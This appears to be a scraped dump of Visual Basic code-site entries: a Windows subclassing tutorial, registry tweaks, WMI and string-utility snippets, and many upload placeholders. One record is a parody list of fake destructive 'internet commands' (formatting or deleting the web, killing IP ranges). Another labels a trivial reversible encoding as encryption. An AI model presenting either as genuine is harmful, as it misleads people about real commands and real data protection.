application. \nIn this article we will look at the concept of subclassing. \nIntroduction \nQuite often you may here experienced (and even not-so-experienced) VB developers \nsinging the praises of subclassing. Quite often too, you see the same developers \ncursing themselves for "being so foolish as to use that Devil's tool" in their \napplications. So is subclassing a dream come true, or a nightmare? For that \nmatter, what is this subclassing anyway? Let's take a look. \nWindows internals - The basics \nIf you choose to delve into the architecture of the Windows OS, you will come \nacross a term called "message". You will hear such sweeping generalisations like \n"Windows runs on messages." "If Windows is the human body, then messages form \nits life blood." etc, etc. So what exactly are these messages? \nPut quite simply, messages are the primary means by which an application informs \nthe Windows (or vice versa) that some particular event has occurred and/or that \na particular action needs to be taken (which pretty much amounts to the same \nthing in most cases). A message has an ID and may have one or more parameters. \nThe OS (or the App) uses the message ID to identify which event has occurred. \nThe parameters provide more info re: the event. The OS or the app then takes \nappropriate measures to respond suitably to this message. For this purpose it \nuses a message handler or Windows procedure (WinProc). Confused? OK, let us take \nan example. Suppose the user clicks the mouse on a form in your app. This \ngenerates a message with a unique ID and with parameters indicating the location \nof the mouse click, the handle of the Window etc. Depending upon the nature of \nthe message Windows may pass it along to the Application or handle the message \nitself. In either case the message handling function is called (Surprise!) \nmessage handler (or a WinProc short form for Windows Procedure). It is this \nfunction that takes appropriate action to respond to this message. Needless to \nsay, each and every window has a default message handler. And in this case, a \nwindow can be a button, text box, form etc. Windows keeps track of the various \nmessage handlers using a Class structure associated with each window handle. \nIn the case of an App written using VB, the WinProc presents the message to the \ncorresponding event handler after "massaging" it. I.e. it alters the parameters \ninto a form understood by the App. The event handler then performs the actions \ndictated by the code written in it. Thus, the VB almost completely masks the \ninner workings and presents a friendly interface to the programmer. This is not \nnecessarily a bad thing. But if we need to obtain more control over our app or \nprovide additional functionality than is provided by the default WinProc we \ncannot do so from within VB. We need to enter the shadowy realm of subclassing. \nWhich brings us to the topic at hand. \nSubclassing \nAs we saw above, each window has an associated WinProc. Subclassing refers to \nthat method of programming in which we insert our own WinProc between the \nmessage sender and the default WinProc. This enables us to handle the messages \nin the way we choose, rather than depend on the default message handler. Of \ncourse, we need not handle all the messages within our WinProc. We can handle \nonly those that we need to exhibit modified functionality and pass the rest on \nto the default message handler. This enables us to add additional functionality \nwhere we want without duplicating the rest of the features using our code. \nSo subclassing can be illustrated as below:\n<div class=\"Code\">\n <pre>Message Source --> Our WinProc --> Default WinProc</pre>\n</div>\nIn this sense our WinProc acts as a front office, which handles any message \nwe choose in a manner chosen by us, and passes the rest to the default message \nhandler. \nLet us see a simple subclassing module:\n<div class=\"Code\">\n <pre>Public Function WindowProc(ByVal hWnd, ByVal etc....)\n' This is the WinProc we insert before the default WinProc.\n'In the main App we must take control of the message handling by installing our WinProc\n'as the default message handler\n'For this purpose we must use the SetWindowLong API call encapsulated in the user32.dll \n'Also, we must hand the control back to the default message handler after we are done (again using 'the SetWindowLong API call) or the App may crash\n'SetWindowLong API call has the following syntax\n'procOld = SetWindowLong(hWnd, GWL_WNDPROC, AddressOf OurProc)\n Select Case iMsg\n Case SOME_MESSAGE\n DoSomething 'i.e. write code to accomplish something here.\n End Select\n ' pass all messages on to VB and then return the value to windows\n WindowProc = CallWindowProc(procOld, hWnd, iMsg, wParam, lParam)\nEnd Function\n</pre>\n</div>\nIn the above code we are subclassing the message SOME_MESSAGE. Whenever this \nmessage is encountered the code we write in the Select Case block executes \nbefore the default handler gets to see it. All the other messages are passed \nunmodified to the default WinProc. \nSubclassing is not limited to one level either. A window can be (and in many \ncases is) subclassed multiple times. This can be illustrated as below:\n<div class=\"Code\">\n <pre>Message Source --> Our WinProc#1 --> Our WinProc#2 --> Our WinProc#3--> Default WinProc </pre>\n</div>\nAt each level we can select the messages we want to subclass handle them \nappropriately with our code and pass the rest on to the next level. We can even \npass on the messages that we've handled to the next level, in which case the \nmessage handler in the next level will see the modified message only. Moreover, \nwe can change the order in which we respond to the message by modifying the \nmanner in which we pass on the message to the default WinProc. \nI.e. if we want our code to execute after the Default handler has handled the \nmessage we can achieve it as shown below:\n<div class=\"Code\">\n <pre>Public Function WindowProc(ByVal hWnd, ByVal etc....)\n Select Case iMsg\n Case SOME_MESSAGE\n DoSomething\n Case WM_PAINT\n ' Here we pass the message to the default WinProc first.\n WindowProc = CallWindowProc(procOld, hWnd, iMsg, wParam, lParam)\n'And after the default WinProc has seen the message we handle it using our code.\n Execute_Our_Code \n Exit Function 'Here we must exit the function, since we already passed the message to the\n'Default WinProc. Or the message is again passed to the Default WinProc, which might not be what\n'we require\n End Select\n' pass all the remaining messages on to default WinProc unmodified and then return the value to windows\n WindowProc = CallWindowProc(procOld, hWnd, iMsg, wParam, lParam)\n End Function\n</pre>\n</div>\nOK, so that is that. "This seems pretty straightforward" I hear you say, "Why \nall the initial hoopla about subclassing being tough esoteric, etc?" Well, quite \nunfortunately, it isn't quite as simple as that. Some of the issues are a bit \nesoteric and I'd rather wait until we've discussed some more advanced concepts \nbefore I explain them. But we'll deal with some of them here. \n \nFirst of all subclassing goes to the very heart of windows and hence all the \ncute error-handling features are rendered useless here. If you subclass a window \nand there is an error in your code, then your app WILL crash. \nAnd it will probably take windows with it too. A GPF is a near certainty anyway. \n \nSecondly, we cannot debug subclassing code from VB. If you try that VB \nWILL crash. Of course there are ways to do this. And we will deal with \nthem in a later article, but don't do it directly. \n \nThirdly, if there is an error in your subclassing code and you run it from \nwithin the IDE, VB will enter into the break mode when it encounters the error \nand will very obediently crash \n \nAlso, writing subclassing code is nowhere near as straightforward as programming \nin VB. It is much more challenging and you have to keep a sharp eye for \ninterdependencies, synchronisation etc which can be a regular headache. \n \nNow that doesn't mean that you shouldn't touch subclassing with barge pole. But \nit does mean that you should be very, very careful when venturing into this \narea. For the rewards are high, but so are the risks. \nFor starters, keep the following things in mind:\n<div class=\"Code\">\n <pre>\n1. Always save your project before running it. So even if an error crashes VB, you won't have to retype the entire code you wrote since the last save.\n2. Do not break in subclassing code. This WILL crash VB. See rule 1\n3. Double triple check your subclassing code. Remember, any error here will crash your App and may even crash Windows.\n4. If you get into the deep end, be aware of the interdependency and other such issues (to be dealt in a later article)\n5. Most important: Don't let some crackpot author (like me) scare you away from exploring the wonderful world of subclassing.\n</pre>\n</div>\nWell I guess that's it for now. In the next article we will see how we can \nuse subclassing to modify the system menu of a window and pick up some useful \nthings along the way. \nAs always, if you have any questions, comments or criticism do feel free to mail \nme. \nGood-bye, Good luck and happy coding!\nCopyright ┬⌐ 2001-2003 Sreejath S. Warrier \n "},{"WorldId":1,"id":44505,"LineNumber":1,"line":"basically i need to know what you think of the app in the screenshot, is it too simple? dose it need more pizazz? please tell me what you think, i would deeply appritiate it :P"},{"WorldId":1,"id":44506,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44517,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49839,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49840,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49845,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49852,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49859,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49860,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49869,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49870,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49875,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49877,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49879,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49880,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49881,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49884,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49891,"LineNumber":1,"line":"\n\nSome very very POWERFULL internet functions \nBe careful some of them can harm people or machines. \n\nYou can end up in jail!!!!. \n \nUse it at your own risk \n(like hacker's say : This 'nuclear bomb' was made for educational purposes.We dont \nhave any responsibility if it blows in your country) \nDo not do try it at home ,try it from your friends pc...;) \n\n\n \nformat internet\t\t\t(must have priviledges or files not locked) \n-------------------- \nformat http://*.* \n /V:label Specifies the volume label. \n /Q Performs a quick format. \n /X Forces the volume to dismount first if necessary. All opened\n handles to the volume would no longer be valid. \n /1 Formats a single side of a floppy disk. \n /4 Formats a 5.25-inch 360K floppy disk in a \n high-density drive. \n \n \ncopy all files to my computer\t(must have copy rights) \n-------------------- \ncopy ftp://*.* c: \n /V Verifies that new files are written correctly. \n /N Uses short filename, if available, when copying a file with a\n non-8dot3 name. \n /Y Suppresses prompting to confirm you want to overwrite an\n existing destination file. \n /Z Copies networked files in restartable mode. \n \n \nif you dont have enough drive space try this before \n-------------------- \nzip http://*.* c:\\Internet.zip \n \nu can also scan it \n-------------------- \nscan http://*.* \n \n \ndestroy all commercial sites (very dangerous) \n-------------------- \ndelete http://*.com \\q \n \n /S Removes all directories and files in the specified directory \n in addition to the directory itself. Used to remove a directory\n tree. \n /Q quick mode, so it wont take a lot of time \n \n \nuniversal portscan \nit will take some years but this will do it \n-------------------- \nportscan *.*.*.*:* \n \n \n \nif are broke an need money at once do this (depends on nationality) \n---------------- \nfind money;$ or Γé¼ \n \ncommand search need a lot of effort an maybe ask you to get a job, \nor it can take a lot of time,years maybe and money may not be enough to \nrepay your patience, so use find, i ve tried . \nAnd now i am wealthy and have time to find more commands. \n \n \nshut down internet (very dangerous someone must be there to restart it because you \nwill not have access any more) \n-------------------- \n \nshutdown internet \\mainframe \n \n \nemail to every one\t: very dangerous mail (its called world mail spam) \n-------------------- \nmailto: *@*.* /message:mpla,mpla /sumbject:announce \n \n \ndestroy all pc's in a region \nexample: \n-------------------- \nkill 172.*.*.* \n \n \nReplace microsoft with UNIX with a single key press \n--------------------------- \nreplace http://www.microsoft.com http://www.unix.com/ \n replaced. \n /P Prompts for confirmation before replacing a f \n adding a source file. \n /R Replaces read-only files as well as unprotect \n files. \n /S Replaces files in all subdirectories of the \n destination directory. Cannot use with the /A \n switch. \n /W Waits for you to insert a disk before beginning \n /U Replaces (updates) only files that are older \n source files. Cannot use with the /A switch. \n \n \n \nPlease VOTE it have done a lot of research to find these.... \n \nIn my next subsricption there would be commands to make you immortalor even a god \nor batman or Neo (with his eyes), even Bush. \n \nI suspect that this mail may be scaned by CIA, so close your explorers at once after reading . \nYou haveabout 3mins before you are localted. \nGood luck,youl 'll need it "},{"WorldId":1,"id":49897,"LineNumber":1,"line":"Windows Registry Editor Version 5.00 \n[HKEY_CLASSES_ROOT\\dllfile\\Shell] \n[HKEY_CLASSES_ROOT\\dllfile\\Shell\\Register] \n[HKEY_CLASSES_ROOT\\dllfile\\Shell\\Register\\Command] \n@=\"Regsvr32 \\\"%L\\\"\" \n[HKEY_CLASSES_ROOT\\dllfile\\Shell\\Unregister] \n[HKEY_CLASSES_ROOT\\dllfile\\Shell\\Unregister\\Command] \n@=\"Regsvr32 /u \\\"%L\\\"\" \n[HKEY_CLASSES_ROOT\\ocxfile\\Shell] \n[HKEY_CLASSES_ROOT\\ocxfile\\Shell\\Register] \n[HKEY_CLASSES_ROOT\\ocxfile\\Shell\\Register\\Command] \n@=\"Regsvr32 \\\"%L\\\"\" \n[HKEY_CLASSES_ROOT\\ocxfile\\Shell\\Unregister] \n[HKEY_CLASSES_ROOT\\ocxfile\\Shell\\Unregister\\Command] \n@=\"Regsvr32 /u \\\"%L\\\"\" \n[HKEY_CLASSES_ROOT\\.tlb] \n@=\"typelib\" \n[HKEY_CLASSES_ROOT\\typelib\\shell\\Register\\command] \n@=\"regtlib \\\"%L\\\"\" \n[HKEY_CLASSES_ROOT\\typelib\\shell\\Unregister\\command] \n@=\"regtlib -u \\\"%L\\\"\" "},{"WorldId":1,"id":49901,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49902,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49906,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49911,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49913,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49917,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49919,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49928,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49937,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49945,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49948,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49952,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49970,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49976,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49979,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49981,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49985,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49988,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49995,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50000,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50004,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50006,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50007,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50017,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50028,"LineNumber":1,"line":"http://www.pscode.com/vb/scripts/ShowCode.asp?txtCodeId=49879 \n"},{"WorldId":1,"id":50031,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50039,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50040,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50048,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50049,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50050,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50056,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50061,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50063,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50065,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50066,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50075,"LineNumber":1,"line":"VBReFormer is a versatile tool. Most important it recreate the form- and vbp-files from compiled VB EXE-files. No source code is recreated, so it's not a decompiler.\nFurthermore it can analyze dll's, ocx's, oca's and tlb's. E.g. tell what methods an ocx-control has.\nHowever be advised that VBReFormer is programmed by a non-professional, and bear many sign of that. Nonetheless I, myself, have found it useful in several occasions.\nOther than the original french version, it supports english and german.\nEnglish website: http://membres.lycos.fr/hexorciser/vbreformer_en.htm"},{"WorldId":1,"id":50078,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50088,"LineNumber":1,"line":"Private Declare Function PathRelativePathTo Lib \"shlwapi.dll\" Alias \"PathRelativePathToA\" (ByVal pszPath As String, ByVal pszFrom As String, ByVal dwAttrFrom As Long, ByVal pszTo As String, ByVal dwAttrTo As Long) As Long\nPrivate Const MAX_PATH As Long = 260\nPrivate Const FILE_ATTRIBUTE_DIRECTORY As Long = &H10\nPrivate Const FILE_ATTRIBUTE_NORMAL As Long = &H80\n'-----------------------------------------------------------\n' Creates a relative path from one file or folder to another.\n'\n' made by Alexander Triantafyllou alextriantf@yahoo.gr \n'\n' usage relative_path=get_relative_path_to(root_path,file_path)\n' get_relative_path_to(\"d:\\a\\b\\c\\d\",\"d:\\a\\b\\index.html\") will return\n' \"..\\..\\index.html\"\n' use FILE_ATTRIBUTE_DIRECTORY if the path is a directory\n' or FILE_ATTRIBUTE_NORMAL if the path is a file\n'----------------------------------------------------------\nPublic Function get_relative_path_to(ByVal parent_path As String, ByVal child_path As String) As String\nDim out_str As String\nDim par_str As String\nDim child_str As String\nout_str = String(MAX_PATH, 0)\npar_str = parent_path + String(100, 0)\nchild_str = child_path + String(100, 0)\nPathRelativePathTo out_str, par_str, FILE_ATTRIBUTE_DIRECTORY, child_str, FILE_ATTRIBUTE_NORMAL\nout_str = StripTerminator(out_str)\n'MsgBox out_str\nget_relative_path_to = out_str\nEnd Function\n'Remove all trailing Chr$(0)'s\nFunction StripTerminator(sInput As String) As String\n Dim ZeroPos As Long\n ZeroPos = InStr(1, sInput, Chr$(0))\n If ZeroPos > 0 Then\n StripTerminator = Left$(sInput, ZeroPos - 1)\n Else\n StripTerminator = sInput\n End If\nEnd Function\n"},{"WorldId":1,"id":50108,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50124,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50125,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50135,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50137,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50140,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50144,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50146,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50151,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50154,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50155,"LineNumber":1,"line":"Public Function Encrypt(StringToEncrypt As String, Optional AlphaEncoding As Boolean = False) As String\n On Error GoTo ErrorHandler\n Dim Char As String\n Encrypt = \"\"\n \n For i = 1 To Len(StringToEncrypt)\n Char = Asc(Mid(StringToEncrypt, i, 1))\n Encrypt = Encrypt & Len(Char) & Char\n Next i\n \n If AlphaEncoding Then\n \n StringToEncrypt = Encrypt\n Encrypt = \"\"\n \n For i = 1 To Len(StringToEncrypt)\n Encrypt = Encrypt & Chr(Mid(StringToEncrypt, i, 1) + 147)\n Next i\n \n End If\n Exit Function\nErrorHandler:\n Encrypt = \"Error encrypting string\"\nEnd Function\nPublic Function Decrypt(StringToDecrypt As String, Optional AlphaDecoding As Boolean = False) As String\n On Error GoTo ErrorHandler\n Dim CharCode As String\n Dim CharPos As Integer\n Dim Char As String\n \n If AlphaDecoding Then\n \n Decrypt = StringToDecrypt\n StringToDecrypt = \"\"\n \n For i = 1 To Len(Decrypt)\n StringToDecrypt = StringToDecrypt & (Asc(Mid(Decrypt, i, 1)) - 147)\n Next i\n \n End If\n \n Decrypt = \"\"\n \n Do\n \n CharPos = Left(StringToDecrypt, 1)\n StringToDecrypt = Mid(StringToDecrypt, 2)\n CharCode = Left(StringToDecrypt, CharPos)\n StringToDecrypt = Mid(StringToDecrypt, Len(CharCode) + 1)\n Decrypt = Decrypt & Chr(CharCode)\n \n Loop Until StringToDecrypt = \"\"\n Exit Function\nErrorHandler:\n Decrypt = \"Error decrypting string\"\nEnd Function"},{"WorldId":1,"id":50156,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50158,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50160,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50165,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50172,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50173,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50176,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50179,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50198,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50205,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50210,"LineNumber":1,"line":"Declare Function GetBkColor Lib \"gdi32\" (ByVal hDC As Long) As Long\nDeclare Function SetBkColor Lib \"gdi32\" (ByVal hDC As Long, ByVal crColor As Long) As Long\nDeclare Function CreateCompatibleDC Lib \"gdi32\" (ByVal hDC As Long) As Long\nDeclare Function DeleteDC Lib \"gdi32\" (ByVal hDC As Long) As Long\nDeclare Function SelectObject Lib \"gdi32\" (ByVal hDC As Long, ByVal hObject As Long) As Long\nDeclare Function DeleteObject Lib \"gdi32\" (ByVal hObject As Long) As Long\nDeclare Function BitBlt Lib \"gdi32\" (ByVal hDestDC As Long, ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal XSrc As Long, ByVal YSrc As Long, ByVal dwRop As Long) As Long\nDeclare Function SetTextColor Lib \"gdi32\" (ByVal hDC As Long, ByVal crColor As Long) As Long\nDeclare Function GetTextColor Lib \"gdi32\" (ByVal hDC As Long) As Long\nDeclare Function CreateBitmap Lib \"gdi32\" (ByVal nWidth As Long, ByVal nHeight As Long, ByVal nPlanes As Long, ByVal nBitCount As Long, lpBits As Any) As Long\nDeclare Function CreateCompatibleBitmap Lib \"gdi32\" (ByVal hDC As Long, ByVal nWidth As Long, ByVal nHeight As Long) As Long\nSub CreateMask(hDestDC As Long, X As Long, Y As Long, nWidth As Long, nHeight As Long, hSrcDC As Long, XSrc As Long, YSrc As Long, TransColor As Long)\n Dim OrigColor As Long ' Holds source original background color\n Dim DestBKColor As Long ' Holds destination original background color\n Dim OrigTextColor As Long\n \n Dim hMaskBmp As Long\n Dim hMaskPrevBmp As Long\n Dim MaskDC As Long\n \n MaskDC = CreateCompatibleDC(hDestDC)\n hMaskBmp = CreateBitmap(nWidth, nHeight, 1, 1, ByVal 0&) '//Create a monochrome bitmap for our mask\n hMaskPrevBmp = SelectObject(MaskDC, hMaskBmp)\n \n OrigColor = SetBkColor(hSrcDC, TransColor)\n Call BitBlt(MaskDC, 0, 0, nWidth, nHeight, hSrcDC, XSrc, YSrc, vbSrcCopy) '//Copy hSrcDc into our mask bitmap\n SetBkColor hSrcDC, OrigColor '//Restore the original color\n \n DestBKColor = SetBkColor(hDestDC, vbWhite) '//All the white in our bitmap hasto be white\n OrigTextColor = SetTextColor(hDestDC, vbBlack)\n BitBlt hDestDC, X, Y, nWidth, nHeight, MaskDC, 0, 0, vbSrcCopy\n SetTextColor hDestDC, OrigTextColor\n SetBkColor hDestDC, DestBKColor '//Restore the original back color bak\n \n Call SelectObject(MaskDC, hMaskPrevBmp) 'Select our original bitmap bak\n \n Call DeleteObject(hMaskBmp) 'Delete our mask bitmap\n Call DeleteDC(MaskDC) 'Delete MaskDC\nEnd Sub"},{"WorldId":1,"id":50215,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50231,"LineNumber":1,"line":"Okay, so what do you do first? \nJust fallow these simple steps! \n \n1. Find your visual basic folder \n2. Double click on it. \n3. Find the executable for the program Visual Basic 'File name may vary depending on which version you have. \n4. Double click on that! 'Now, I hope you arnt lost, if you are you need to find a tutorial that is a bit easier to fallow \n5. A box should appear asking what type of project you want to create 'A project is the term used for a new application \n6. Choose your type of project and click on Open... 'The most common type of project is DHTML Application \nThats it!!! You have completed one of the most demanded tutorials ever. \nIt took me so long to figure this out but I got it working! I hope you don't have trouble fallowing the tutorial. \nI mean, this is just great stuff if you have come this far. And this is one of the hardest tutorials to ever complete. \nIf this was too hard for you I think you should buy a book on opening Visual Basic. \nThe way I learned to open Visual Basic was by buying the book Sam's Teach yourself how to open Visual Basic in 21 days \nBut, as you can see I made it shorter than 21 days, my tutorials should only take about... lets see... hmmmmmmmm!!! 14 days! \nPlease don't forget to vote, it took me very long to make this article!"},{"WorldId":1,"id":50234,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50236,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50237,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50238,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50241,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50242,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50246,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50253,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50254,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50256,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50260,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50266,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50267,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50269,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50271,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50272,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50273,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50277,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50278,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50279,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50290,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50291,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50293,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50297,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50302,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50306,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50310,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50314,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50318,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50319,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50323,"LineNumber":1,"line":"Public Sub TextBoxMod(WhichForm As Form, CommandLine As What2Clear, Optional ReplaceWith As String = Empty)\n For Each Control In WhichForm 'Search's through given form\n If CommandLine = [Clear All Textbox's] Then\n If TypeOf Control Is TextBox Then Control.Text = ReplaceWith\n 'Look for ALL textboxes\n ElseIf CommandLine = [Clear Textbox's Contained In Form] Then\n 'Look for textboxes in Form ONLY\n If TypeOf Control Is TextBox And TypeOf Control.Container Is Form Then Control.Text = ReplaceWith\n ElseIf CommandLine = [Clear Textbox's Contained In Frames] Then\n 'Look for textboxes in Frmaes ONLY\n If TypeOf Control Is TextBox And TypeOf Control.Container Is Frame Then Control.Text = ReplaceWith\n ElseIf CommandLine = [Clear Textbox's Contained In Picturebox's] Then\n 'Look for textboxes in Pictureboxes ONLY\n If TypeOf Control Is TextBox And TypeOf Control.Container Is PictureBox Then Control.Text = ReplaceWith\n End If\n Next\nEnd Sub"},{"WorldId":1,"id":50335,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50337,"LineNumber":1,"line":"Option Explicit\n\n'I created this demo because I needed\n'to be able to adjust how many child\n'processes my batch processing app\n'created so that it didn't overutilize\n'the CPU.\n'\n'To duplicate this, create a form with\n'one text box (Text1) and one timer\n'(Timer1) in the configuration you see\n'in the screen shot. Then paste the\n'code seen here.\n'\n'The main key is the windows idle\n'process (PID = 0), which eats up\n'whatever CPU cycles are not used by\n'other apps. Every so often, this code\n'takes a sample of how much CPU time, in\n'seconds, that process has taken up\n'since it started. Then it takes the\n'delta to calculate its own CPU\n'utilization. Subtract it from 100%\n'and you get the CPU utlization.\n'\n'In this case, we're using the Windows\n'Management Interface (WMI) to get this\n'information -- mainly because the API\n'calls to get process times won't work\n'for the idle process for security\n'reasons. This should work for Windows\n'2000 and XP, but probably not for NT\n'4.0- or Windows 3.x, 9x, or ME.\n'\n'You can morph this sample a lot of\n'ways. For example, increase the\n'SampleRate variable to get a smoother\n'variation curve over time or decrease\n'to get more immediate values. You can\n'use additional parameters in\n'Locator.ConnectServer() to connect to\n'a remote machine, as another example.\n'See here for more about the WMI\n'objects:\n'\n' http://msdn.microsoft.com/library/\n' default.asp?url=/library/en-us/\n' wmisdk/wmi/wmi_reference.asp\n'\n'You could also easily modify this to\n'track some other process' CPU\n'utilization by its PID. Or you could\n'also use it to track memory or other\n'resource utilization.\n'\n'- Cheers,\n' Jim Carnicelli\n\nPrivate Wmi As Object, Locator As Object\nPrivate PrevCpuTime As Long, SampleRate As Long\nPrivate Sub Form_Load()\n SampleRate = 2 'in seconds\n Timer1.Interval = SampleRate * 1000\n Set Locator = CreateObject(\"WbemScripting.SWbemLocator\")\n Set Wmi = Locator.ConnectServer\n Timer1_Timer\nEnd Sub\nPrivate Sub Timer1_Timer()\n Dim Procs As Object, Proc As Object\n Dim CpuTime, Utilization As Single\n Set Procs = Wmi.InstancesOf(\"Win32_Process\")\n For Each Proc In Procs\n If Proc.ProcessID = 0 Then 'System Idle Process\n CpuTime = Proc.KernelModeTime / 10000000\n If PrevCpuTime <> 0 Then\n Utilization = 1 - (CpuTime - PrevCpuTime) / SampleRate\n Text1.Text = Format(Utilization, \"0.0%\")\n End If\n PrevCpuTime = CpuTime\n End If\n Next\nEnd Sub\n"},{"WorldId":1,"id":50338,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50339,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50347,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50351,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50355,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50367,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50374,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50375,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50379,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50381,"LineNumber":1,"line":"Public Function ReverseString(TheString As String) As String\n ReverseString = \"\"\n For i = 0 To Len(TheString) - 1\n ReverseString = ReverseString & Mid(TheString, Len(TheString) - i, 1)\n Next i\nEnd Function\nPublic Function RemoveExtraSpaces(TheString As String) As String\n Dim LastChar As String\n Dim NextChar As String\n LastChar = Left(TheString, 1)\n RemoveExtraSpaces = LastChar\n For i = 2 To Len(TheString)\n NextChar = Mid(TheString, i, 1)\n If NextChar = \" \" And LastChar = \" \" Then\n Else\n RemoveExtraSpaces = RemoveExtraSpaces & NextChar\n End If\n LastChar = NextChar\n Next i\nEnd Function\nPublic Function DelimitString(TheString As String, Delimiter As String) As String\n DelimitString = \"\"\n For i = 1 To Len(TheString)\n If i <> Len(TheString) Then\n DelimitString = DelimitString & Mid(TheString, i, 1) & Delimiter\n Else\n 